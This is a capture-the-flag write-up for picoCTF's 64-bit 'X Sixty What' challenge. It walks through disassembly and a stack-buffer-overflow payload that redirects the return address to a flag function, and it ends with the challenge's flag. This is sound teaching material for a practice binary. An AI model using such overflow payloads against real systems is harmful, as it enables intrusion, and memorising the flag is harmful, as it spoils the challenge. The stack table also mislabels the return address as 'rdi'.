picoCTF
X Sixty What [200 pts]
Challenge Description:
Overflow x64 code
Most problems before this are 32-bit x86. Now we’ll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source.
nc saturn.picoctf.net [port #]
We’re given a binary ELF file and a C source file. Here’s the C source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
First things first, create a flag.txt
file and enter whatever text you’d like so we can run the program in our local machine.
chmod +x vuln
to enable execution
gdb vuln
to enter debugger
disass vuln
:
Dump of assembler code for function vuln:
0x00000000004012b2 <+0>: endbr64
0x00000000004012b6 <+4>: push %rbp
0x00000000004012b7 <+5>: mov %rsp,%rbp
0x00000000004012ba <+8>: sub $0x40,%rsp
0x00000000004012be <+12>: lea -0x40(%rbp),%rax
0x00000000004012c2 <+16>: mov %rax,%rdi
0x00000000004012c5 <+19>: mov $0x0,%eax
0x00000000004012ca <+24>: call 0x401100 <gets@plt>
0x00000000004012cf <+29>: nop
0x00000000004012d0 <+30>: leave
0x00000000004012d1 <+31>: ret
End of assembler dump.
0x00000000004012b7 <+5>: mov %rsp,%rbp
This instruction makes it so that rsp
and rbp
point to the same address
0x00000000004012ba <+8>: sub $0x40,%rsp
This instruction creates 0x40, i.e. 64, bytes of space.
Currently, the stack looks like this:
Stack | Stack Offset |
---|---|
Return Address (rdi) | 0x48 - 0x56 |
Base Pointer (rbp) | 0x40 - 0x48 |
0x40 bytes of space | 0x0 - 0x40 |
Stack Pointer (rsp) | 0x0 |
Given that the vuln function utilizes the gets function for input, we know we can perform a buffer overflow attack to overwrite the return address.
Let’s dynamically confirm where the input is stored on the stack:
b *vuln+29
to set a breakpoint right after the call function finishes.
r
to run the function
Enter whatever input you can recognize in hex form.
x/100x $rsp
to check the stack
You should see something like the following in the first few rows:
0x7fffa44053b0: 0x61616161 0x61616161 0x00616161 0x00007fc6
0x7fffa44053c0: 0x6777c780 0x00007fc6 0x675e3765 0x00007fc6
0x7fffa44053d0: 0x00000000 0x00000000 0xa4405420 0x00007fff
Note that our input (I entered ‘aaaaaaaaaaa’) shows up in the beginning of the stack. Thus, our input is definitely located at $rsp+0x0
disass flag
:
Dump of assembler code for function flag:
0x0000000000401236 <+0>: endbr64
0x000000000040123a <+4>: push %rbp
0x000000000040123b <+5>: mov %rsp,%rbp
0x000000000040123e <+8>: sub $0x50,%rsp
0x0000000000401242 <+12>: lea 0xdbf(%rip),%rsi # 0x402008
0x0000000000401249 <+19>: lea 0xdba(%rip),%rdi # 0x40200a
0x0000000000401250 <+26>: call 0x401130 <fopen@plt>
0x0000000000401255 <+31>: mov %rax,-0x8(%rbp)
0x0000000000401259 <+35>: cmpq $0x0,-0x8(%rbp)
0x000000000040125e <+40>: jne 0x401289 <flag+83>
0x0000000000401260 <+42>: lea 0xdac(%rip),%rdx # 0x402013
0x0000000000401267 <+49>: lea 0xdba(%rip),%rsi # 0x402028
0x000000000040126e <+56>: lea 0xde8(%rip),%rdi # 0x40205d
0x0000000000401275 <+63>: mov $0x0,%eax
0x000000000040127a <+68>: call 0x4010e0 <printf@plt>
0x000000000040127f <+73>: mov $0x0,%edi
0x0000000000401284 <+78>: call 0x401140 <exit@plt>
0x0000000000401289 <+83>: mov -0x8(%rbp),%rdx
0x000000000040128d <+87>: lea -0x50(%rbp),%rax
0x0000000000401291 <+91>: mov $0x40,%esi
0x0000000000401296 <+96>: mov %rax,%rdi
0x0000000000401299 <+99>: call 0x4010f0 <fgets@plt>
0x000000000040129e <+104>: lea -0x50(%rbp),%rax
0x00000000004012a2 <+108>: mov %rax,%rdi
0x00000000004012a5 <+111>: mov $0x0,%eax
0x00000000004012aa <+116>: call 0x4010e0 <printf@plt>
0x00000000004012af <+121>: nop
0x00000000004012b0 <+122>: leave
0x00000000004012b1 <+123>: ret
End of assembler dump.
The important thing here is the address of the flag function, 0x0000000000401236
.
We need to overwrite the return address, which is located at offset $rsp+0x48
. (This is because there is 0x40 bytes of space between the stack pointer and base pointer and the base pointer itself is 0x8 bytes since this is x64).
We can send a hex-encoded input to ./vuln to do this.
python -c "print('a'*72)" > input
echo -ne '\x36\x12\x40\x00\x00\x00\x00\x00' >> input
The first command writes 72 ‘a’ characters to the file input for the buffer, i.e. to get to offset 0x48.
The second part writes the hex values of the flag function address, which we cannot easily write in ascii. Note that the bytes are written in reverse order because of little endianness.
Run ./vuln < input, which should return the contents of your flag.txt
file.
If you instead received a segmentation fault without the flag, check the second hint of the problem, which states: Jump to the second instruction (the one after the first push) in the flag
function, if you’re getting mysterious segmentation faults.
To fix this, we need to jump to the instruction right after the first push in the flag
function:
0x000000000040123b <+5>: mov %rsp,%rbp
This has address 0x000000000040123b
, so we we only need to slightly modify our commands:
python -c "print('a'*72)" > input
echo -ne '\x3b\x12\x40\x00\x00\x00\x00\x00' >> input
Now you should get your flag.txt
file contents.
Once you receive your flag.txt
file contents, the challenge is done!
Run nc -q 2 saturn.picoctf.net [port #] < input
, which will return your flag.
Note that -q 2
makes the connection wait 2 seconds after the EOF (end of file) before closing input, which allows us to receive the flag.
picoCTF{b1663r_15_b3773r_d95e02b6}